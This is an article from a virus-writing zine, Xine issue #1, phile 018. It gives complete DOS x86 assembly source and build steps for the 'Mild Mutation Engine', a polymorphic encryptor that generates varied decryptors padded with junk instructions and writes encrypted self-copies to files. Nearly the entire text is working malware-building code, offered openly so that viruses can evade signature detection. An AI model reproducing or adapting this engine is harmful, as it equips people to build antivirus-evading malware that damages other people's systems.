Copy Link
Add to Bookmark
Report
xine-1.018
/-----------------------------\
| Xine - issue #1 - Phile 018 |
\-----------------------------/
;JHB presents
;The Mild Mutation Engine
;
;
;TO COMPILE
;tasm, tlink to exe
;then mk.bat to convert to com file
;mk.bat
;debug da1.exe
;nda1.com
;w
;q
;debug da1.com until the bp,bx then make bp = 0100
;go
;done
;------------------------------------------------------
.286
shift_loop equ 2
code segment
org 0h
assume cs:code,ds:code
start:
virus_begin:
virus_code:
push ds es
sub bx,offset virus_code
mov bp,bx
MOV Dl,byte PTR [GENERATION + bp]
INC Dl
MOV byte PTR [GENERATION +bp ],Dl
;ok start to set up for the call to the MME
;si - start of code to encrypted
;di = the buffer that will hold said decryptor and encrypted code
;cx = the lenght of the encrypted area
;dx = offset in the file for the decrytptor
;ax = size of the decryptor must be >26 bytes
;
;------------------------------------------------------------------------
MOV DX,0100h ;MAKES THE RIGHT OFFSET FOR COM FILES
mov bx,virus_size /2 ;size of code to encrypt
mov si,offset virus_code
add si,bp
mov di,offset encrypt_buffer
add di , bp
mov ax,40h
call encrypt_code
mov ax,di ;figures the new file
mov di,offset encrypt_buffer ;size
add di , bp ;
sub ax,di ;
push ax ;
;create the file to write the code to
mov ax,3c00h
XOR CX,CX
MOV DX,OFFSET file_name
add dx,bp
INT 21H
PUSH AX
POP BX
MOV AX,4000H
pop cx
MOV DX,OFFSET encrypt_buffer
add dx,bp
INT 21H
POP ES DS
mov ax,4C00H
int 21H
;-----------------------------------------------------------------------
;dx = to the offset of the decryptor
;bx = size in words of code to be encrytped
;di = the buffer where we will leave the code
;si = the source of the to be encrypted code
;ax = size requested
;
encrypt_code:
push ax cx
push bx ;push the size of the code to
;be encrypted
push dx ;offset into the file where
;the decryptor is to be
push ax ;requested size of the
;decryptor
try_again:
xor ah,ah ; get time for random number
int 1Ah
and dx,00000110b ;binary mask to keep
;the cipher to 2 4 6
cmp dx,0
je try_again
mov word ptr[shift_amt + bp],dx ; save encryption key
pop cx
mov word ptr ds:[size_requested + bp],cx ;requested size of
;decryptor
pop cx ;sets up the offset
mov word ptr ds:[code_offset + bp] ,cx ;for the code
pop cx ;sets the size of
mov word ptr ds:[virus_size_wd + bp],cx
;code to be encrypted
push cs ; ES = CS
pop es
call make_decrypt
;at this point si = start of the code to be encrypted
;while di = the point in buffer for it to be placed
;----------------------------------------------------------------------
;EN-CRYPT_ROUTINE
PUSH DX
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
MOV DX,word ptr [shift_amt + bp]
lodsw ; encrypt virus code
XCHG DX,CX
KEEP_GOING:
CLC
SHR AX,1
JNC NO_HIGH_BIT_EN
ADD AX,1000000000000000B
NO_HIGH_BIT_EN:
DEC CX
JCXZ DONE_2
JMP SHORT KEEP_GOING
DONE_2:
stosw
XCHG DX,CX
loop encrypt
pop DX cx ax
ret
;EN-CRYPT_ROUTINE
;--------------------------------------------------------------------
;make decrypt routine
;data
size_reg db 02h ;dx
index_reg db 03h ;bx
shift_reg db 01h ;cx
holder_reg db 00h ;ax
virus_size_wd dw 0 ;size of the code to be encrypted
virus_start dw 0 ;where the code to encrypted is
; to be after it is encrypted
;determined by the MME
SHIFT_AMT DW 02
code_offset dw 0 ;used to determine where we are
;placing the decrytor
decrytptor_sz dw 26h ;
size_requested dw 40h
;virus_size + 25h ;which is the constant decryptor
;size
rgs_used db 00010011b ;do not use sp ax cx
;1 00000001 ax = 000 0
;2 00000010 cx = 001 1
;4 00000100 dx = 010 2
;8 00001000 bx = 011 3
;10 00010000 sp = 100 4
;20 00100000 bp = 101 5
;40 01000000 si = 110 6
;80 10000000 di = 111 7
;ds:di = the start of the buffer where the decryptor is to be
make_decrypt:
mov bx,ds:[decrytptor_sz + bp] ; dw 26h
mov ax,ds:[size_requested + bp] ; dw 30h
cmp ax,bx
jg size_is_ok
mov ax,bx
mov byte ptr ds:[noise_amount+ bp],0 ;total # bytes to add
mov word ptr ds:[size_requested + bp],26h ;starts
jmp short no_noise_wanted
size_is_ok:
sub ax,bx
mov byte ptr ds:[noise_amount+ bp],al ;total # bytes to add
no_noise_wanted:
mov ax,ds:[code_offset + bp] ;where the virus
add ax,ds:[size_requested + bp] ;starts
mov ds:[virus_start + bp],ax ;
;here is where the calls to mutate each reg should be
;those calls will also determine what size reg 16 or 8 bit to use
;where they can be changed
call set_regs_used
call mut_index_reg
call mut_reg
mov BYTE PTR DS:[SIZE_REG + BP],DL
call mut_reg
mov BYTE PTR DS:[HOLDER_REG + BP],DL
call mut_reg
mov BYTE PTR DS:[SHIFT_REG + BP],DL
;----------------------------------------------------------------------
;this is where the actaul code generation starts
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov aL,0B8H ;mov dx
add aL,ds:[size_reg + bp]
stosb
mov ax,ds:[virus_size_wd + bp]
stosw ;mov dx,virus_size/2
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov aL,0b8h
add aL,ds:[index_reg + bp] ;how long
stosb
mov ax,ds:[virus_start + bp]
stosw ;mov bx, offset virus_code
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov aL,050h ;push reg
add aL,ds:[index_reg + bp]
stosb ;push bx
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov aL,0b8h ;MOV
ADD aL,ds:[SHIFT_reg + bp]
STOSB
MOV AX,DS:[SHIFT_AMT + bp]
STOSW ;MOV CX,SHIFT_LOOP
push di ; use to figure jnz 3j
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------------
MOV AL,02EH
STOSB ;CS:
;-------------------------------------------
MOV Al,8BH ;MOV
MOV Ah,DS:[INDEX_REG + bp]
CMP Ah,03H ;BX
JNE NXT1 ;
MOV Ah,07H ;THE OFFSET BX
JMP SHORT DONE1
NXT1: CMP Ah,06H ;SI
JNE NXT2 ;
MOV Ah,04H
JMP SHORT DONE1
NXT2: MOV Ah,05H
DONE1:
MOV DL,DS:[holder_reg + bp]
shl dl,3
mov dh,11000111b ;zero out the rrr part
and Ah,dh
or Ah,dl ;put the value in
STOSW ;MOV AX, CS:[BX]
push di ;used for size figure for jmp 2j
;----------------------------------------------------------
call get_noise
call set_noise
;-----------------------------------------------------------
MOV AL,0F8H
STOSB ;clc
;----------------------------------------------------------------
; THIS AREA CAN BE MUTATED SEVERAL WAYS AT LEAST 4
; D1 E0 90, D1 F0 90, C1 E0 01, C1 F0 01
mov dl,byte ptr ds:[SIZE_REG + BP]
DB 0F6H, 0CAH, 01H ;OTHER FORM OF TEST
;TEST DL,01H
;JNE C1_CODE ;
JMP C1_CODE
mov al,0D1h ;
JMP SHORT WRITE_IT ;
C1_CODE:
MOV AL,0C1h
WRITE_IT:
;TEST DL,02H
DB 0F6H, 0CAH, 02H ;OTHER FORM OF TEST
;jne Fo_code
JMP FO_CODE
mov ah,0E0h
jmp short write_2
Fo_code:
mov ah,0F0h
write_2:
add ah,ds:[holder_reg + bp]
stosw ;shl ax,1
cmp al,0c1h
je need_1
INC byte ptr DS:[NOISE_AMOUNT + BP]
JMP SHORT NO_NEED_01
need_1:
mov al,01
stosb
NO_NEED_01:
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,073h
stosb
call get_noise
mov al,01h ;go one byte
add al,bl ;how much noise
stosb ;
;jnb ???
;determine how many bytes the next
;instuction takes before and after it
;put that value in second al
call set_noise
;----------------------------------------------------------------
mov al,40h
add al,ds:[holder_reg + bp]
stosb ;inc ax
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,48h
add al,ds:[shift_reg + bp]
stosb ;dec cx
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,83h
stosb
mov al,0f8h
add al,ds:[shift_reg + bp]
mov ah,00
stosw ;cmp cx,0
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,074h
stosb
mov al,02h ;again must track for variable
call get_noise ;noise type instrusctions
add al,bl
stosb ;jz ???
call set_noise
;----------------------------------------------------------------
mov al,0ebh
stosb ;again must track for variable
mov bx,di
pop ax
sub ax,bx
dec ax
;mov al,0f1h ;noise instruction
stosb ;jmp ??? jmp 010f
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,2eh
stosb ;cs:
;------------------------------------------------------------
mov al,089h
MOV Ah,DS:[INDEX_REG + bp]
CMP Ah,03H ;BX
JNE NXT1a ;
MOV Ah,07H ;THE OFFSET BX
JMP SHORT DONE1a
NXT1a: CMP Ah,06H ;SI
JNE NXT2a ;
MOV Ah,04H
JMP SHORT DONE1a
NXT2a: MOV Ah,05H
DONE1a:
MOV DL,DS:[holder_reg + bp]
shl dl,3
mov dh,11000111b ;zero out the rrr part
and Ah,dh
or Ah,dl ;put the value in
STOSW ;MOV CS:[BX],AX
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,83h
stosb
mov al,0c0h
add al,ds:[index_reg + bp]
mov ah,02
stosw ;add bx,2
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov al,48h
add al,ds:[size_reg + bp]
stosb ;dec dx
;----------------------------------------------------------
call get_noise
call set_noise
;----------------------------------------------------------
mov bx,di
pop ax
sub ax,bx
xor ah,ah
sub al,5
xchg al,ah
mov al,075h ;jnz
;mov ah,0e2h ;again needs to variable
stosw
;----------------------------------------------------------------
mov al,05bh
stosb ;pop bx
;----------------------------------------------------------------
;should put in any missing bytes to fill in the end
;
more_bytes_needed:
mov bl,ds:[noise_amount + bp]
cmp bl,0
je outta_here
call set_noise
cmp ds:[noise_amount + bp],0
je more_bytes_needed
outta_here:
ret
;----------------------------------------------------------------
get_noise: ;determine #noise bytes
push dx
xor dx,dx
cmp byte ptr ds:[noise_amount + bp],0
je do_not_need
cmp byte ptr ds:[noise_amount + bp],1
je only_one_needed
too_big:
get_more:
call get_random ; 0-7 bytes in dl
ok_1:
cmp dl,byte ptr ds:[noise_amount + bp]
jg too_big
mov bx,dx
do_not_need:
pop dx
ret ;
only_one_needed:
mov bx,01
jmp short do_not_need
;---------------------------------------------------------------
noise_amount db 0
;---------------------------------------------------------------
last_noise db 0
;---------------------------------------------------------------
;1 00000001 ax = 000 0
;2 00000010 cx = 001 1
;4 00000100 dx = 010 2
;8 00001000 bx = 011 3
;10 00010000 sp = 100 4
;20 00100000 bp = 101 5
;40 01000000 si = 110 6
;80 10000000 di = 111 7
;---------------------------------------------
len_4 equ end_noise_4 - noise_4
noise_4:
push ax ;1
int 11h ;2
pop ax ;1
end_noise_4:
;---------------------------------------------
len_6 equ end_noise_6 - noise_6
noise_6:
push ax ;1
mov ax,0200h ;3
int 16h ;2
pop ax ;1
end_noise_6:
;---------------------------------------------
len_7 equ end_noise_7 - noise_7
noise_7:
push ax
mov ax,1200h
int 16h
pop ax
end_noise_7:
;---------------------------------------------
;
;on entry
;bl = number of bytes we want to use
;bh = flags to what we can not use
;also use the rgs_used used flag to allow usage of other regs
;in the do nothing routines
set_noise:
;cmp bh,00h
CMP BL,0
jne bytes_needed
ret
bytes_needed:
push ax cx
xor cx,cx
mov cl,byte ptr ds:[noise_amount + bp]
cmp cl,0
je no_more_bytes_need
cmp bl,4
je add4
;CMP BL,6
;JE ADD6
cmp cl,7
jge add7
put_more:
mov al,090h
stosb
dec cx
dec bl
cmp bl,0
jne put_more
d_add7:
mov byte ptr ds:[noise_amount + bp],cl
no_more_bytes_need:
pop cx ax
ret
;---------------------------------------------
add7:
push cx si
mov si,offset noise_7
add si,bp
mov cx,len_7
rep movsb
pop si cx
sub cx,7
jmp short d_add7
;---------------------------------------------
add4:
push cx
xor cx,cx
call chk_new_reg
jc need_to_save_ax
mov ax,11cdh
stosw
pop cx
dec cx
dec cx
jmp short d_add7
need_to_save_ax:
push si
mov si,offset noise_4
add si,bp
mov cx,len_4
rep movsb
pop si cx
sub cx,4
jmp short d_add7
;---------------------------------------------
add6:
push cx si
mov si,offset noise_6
add si,bp
mov cx,len_6
rep movsb
pop si cx
sub cx,6
jmp short d_add7
;----------------------------------------------------------------
;int 21 30 ax, ax bx cx -> get dos function
;int 21 20 ax, ax -> null function for cpm
;int 21 18 ax, ax -> null function for cpm
;int 21 0b ax, ax -> gets stdin input
;int 21 0d ax, ax -> disk reset
;int 21 06 ah dl = ffh, al -> direct console input
;int 13 10 ax dl, ax cf ->check if drive is ready
;int 16 12 ax, ax -> get extended shift states
;int 17 ah,dx ah -> get printer status
;
;----------------------------------------------------------------
last_random db 0
get_random:
push ax cx
new_random:
xor ah,ah
int 1ah
and dl,00000111b
cmp dl,ds:[last_random+bp]
je new_random
mov byte ptr ds:[last_random+bp],dl
pop cx ax
ret
;----------------------------------------------------------------
;----------------------------------------------------------------
set_regs_used:
push ax
mov al,00010000b ;sp
mov byte ptr ds:[rgs_used + bp],al
pop ax
ret
;----------------------------------------------------------------
mut_index_reg:
pusha
try_again_i:
call get_random
cmp dl,0
je try_again_i
or dl,00000010b
cmp dl,2
je try_again_i
mov cl,dl
call chk_new_reg
jc try_again_i
mov byte ptr ds:[index_reg + bp],dl
popa
ret
;=====================================================================
mut_reg:
push cx
try_again_s:
call get_random
mov cl,dl
call chk_new_reg
jc try_again_s
pop cx
ret
;======================================================================
;======================================================================
;on call
;cl = the reg to use in the rrr format like cx = 001
;if ok then c is not set and rgs_used is set
;if no good then c is set
chk_new_reg:
pusha
xor ax,ax
inc ax
shl al,cl
push ax
and al,byte ptr ds:[rgs_used + bp]
jz ok_to_use
stc
pop ax
jmp short problem
ok_to_use:
;this area will set the rgs_used flags
pop ax
or byte ptr ds:[rgs_used + bp],al
problem:
popa
ret
;----------------------------------------------------------------
;----------------------------------------------------------------
file_name db "TEST"
GENERATION DB "A"
EXT DB ".COM",0
bufferjhb db 0
virus_end:
VIRUS_SIZE equ OFFSET virus_end - OFFSET virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start